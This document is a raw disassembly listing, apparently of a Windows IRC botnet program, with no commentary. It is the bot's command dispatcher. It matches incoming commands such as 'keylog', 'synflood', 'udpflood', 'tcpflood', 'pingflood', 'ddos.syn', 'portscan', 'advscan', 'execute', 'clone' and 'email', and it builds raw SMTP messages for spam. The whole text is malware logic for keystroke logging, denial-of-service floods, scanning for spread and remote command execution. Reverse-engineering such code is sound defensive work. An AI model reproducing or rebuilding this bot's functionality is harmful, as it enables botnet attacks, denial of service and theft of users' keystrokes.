		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B564
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset unk_42B528
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B498
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B46C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	loc_4081AD
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset dword_42B438
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B400
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAA4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBACC, ebx
		jz	short loc_405F4F
		push	offset unk_42B388
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B35C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B33C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B2FC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2DC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2BC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B29C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B270
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B254
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset word_41525A
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42B0E0
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B098
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset word_4141B2
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset dword_42B05C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB944
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA58
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA54
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9D4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA24
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
